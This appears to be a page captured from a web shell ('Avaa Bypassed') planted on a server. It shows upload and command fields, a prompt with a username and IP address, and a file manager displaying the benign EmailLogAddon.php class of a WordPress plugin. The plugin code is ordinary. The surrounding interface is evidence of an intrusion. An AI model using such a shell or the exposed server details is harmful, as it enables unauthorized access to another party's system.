[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.129.42.59: ~ $
<?php namespace EmailLog\Addon;

use EmailLog\Core\Loadie;

defined( 'ABSPATH' ) || exit; // Exit if accessed directly.

/**
 * Base Email Log Addon.
 *
 * @since 2.0.0
 */
abstract class EmailLogAddon implements Loadie {

	protected $addon_file;
	protected $addon_name    = '';
	protected $addon_version = '';
	protected $addon_author  = 'Sudar Muthu';

	/**
	 * Addon Updater.
	 *
	 * @var \EmailLog\Addon\AddonUpdater
	 */
	private $updater;

	/**
	 * Initialize add-on data.
	 *
	 * @access protected
	 *
	 * @return void
	 */
	abstract protected function initialize();

	/**
	 * Construct a new EmailLogAddon instance.
	 *
	 * @param string                            $addon_file Addon main file.
	 * @param \EmailLog\Addon\AddonUpdater|null $updater    Addon Updater.
	 */
	public function __construct( $addon_file, $updater = null ) {
		$this->addon_file = $addon_file;
		$this->updater    = $updater;

		$this->initialize();
	}

	/**
	 * Load the add-on and setup hooks.
	 */
	public function load() {
		if ( \EmailLog\Util\is_admin_non_ajax_request() ) {
			$email_log = email_log();

			if ( ! $email_log->is_plugin_api_overridden() ) {
				$override_plugin_api = new \EmailLog\Core\Request\OverridePluginAPI();
				$override_plugin_api->load();

				$email_log->plugin_api_overridden();
			}
		}

		if ( is_null( $this->updater ) ) {
			return;
		}

		$this->updater->set_addon_data( $this->addon_name, $this->addon_version, $this->addon_author );
		$this->updater->load();
	}
}

Filemanager

Name Type Size Permission Actions
API Folder 0755
License Folder 0755
Addon.php File 9.86 KB 0644
AddonList.php File 4.79 KB 0644
AddonUpdater.php File 1.64 KB 0644
DependencyEnforcer.php File 2.76 KB 0644
EmailLogAddon.php File 1.46 KB 0644
Upseller.php File 3.73 KB 0644
addon-helper.php File 918 B 0644